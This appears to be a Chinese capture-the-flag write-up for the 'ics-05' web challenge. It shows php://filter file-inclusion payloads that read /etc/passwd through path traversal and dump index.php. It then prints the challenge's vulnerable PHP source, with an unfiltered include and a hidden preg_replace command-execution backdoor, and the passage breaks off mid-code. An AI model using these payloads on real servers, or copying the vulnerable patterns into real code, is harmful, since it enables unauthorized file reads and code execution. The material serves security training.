ics-05是什么型号的设备?
摘要:考点: 1.文件包含 2.preg_replace函数 正则e 模式下的命令执行 WP 1.题目 这道题挺有意思的,不难,但是思路点有点意思,开始给个态势感知的平台,,,假装是态势感知(实际是一张背景图) 这个页面里面,没什么地方可以点的
考点:
1.文件包含
2.preg_replace函数 正则/e 模式下的命令执行
WP
1.题目
这道题挺有意思的,不难,但是思路点有点意思,开始给个态势感知的平台,,,假装是态势感知(实际是一张背景图)
这个页面里面,没什么地方可以点的,所有的都是假的,只有一个地方,那就是那个设备维护中心,点进去之后,
是这个样子,,,,也是啥也没有,开始看到的时候觉得很离谱,这不扯犊子吗,啥也没有,不过看了别人的wp之后,f12 看到了这个,
?page=index ,但我最开始不是这样找到的,我是看的提示
设备维护中心???设备维护中心就是index.php ,,,
后门??? 猜测后门文件,webshell.php
访问之后页面变了,当时以为是爆破shell的参数名呢,,,但其实并不是,页面只有这一个可点的地方,点进去就出现这个
回显???最开始想到的是sql注入,xss,,,脑瓜子不灵活了,试了半天没啥用,看了wp发现是文件包含,哎呦喵的,我咋这么笨,参数名page 参数值又是index,估计就可能是文件包含啊,呆瓜了属实是,
既然是文件包含,那就用base64编码读取一下
?page=php://filter/convert.base64-encode/resource=../../../../../../../../etc/passwd
成功
确实是文件包含,但是问题是这也不知道flag文件位置啊,所有一般这种情况,都是读取源码,分析,比如catcat-new 那道题,,,,,
这道题也是这样,,,但是没那道题那么复杂,有空再研究那道题(不知道思路的情况,就信息搜集,这不是有个index.php,读取它呗)
?page=php://filter/convert.base64-encode/resource=index.php
全选出来,解码
老规矩,放sublime
这里面有大部分html无用代码,删掉
<?php
error_reporting(0);
@session_start();
posix_setuid(1000);
?>
<?php
$page = $_GET[page];
if (isset($page)) {
if (ctype_alnum($page)) {
?>
<p class="lead"><?php echo $page; die();?></p>
<?php
}else{
?> <?php
if (strpos($page, 'input') > 0) {
die();
}
if (strpos($page, 'ta:text') > 0) {
die();
}
if (strpos($page, 'text') > 0) {
die();
}
if ($page === 'index.php') {
die('Ok');
}
include($page);
die();
?>
<?php
}}
//方便的实现输入输出的功能,正在开发中的功能,只能内部人员测试
if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {
echo "<br >Welcome My Admin ! <br >";
$pattern = $_GET[pat];
$replacement = $_GET[rep];
$subject = $_GET[sub];
if (isset($pattern) && isset($replacement) && isset($subject)) {
preg_replace($pattern, $replacem
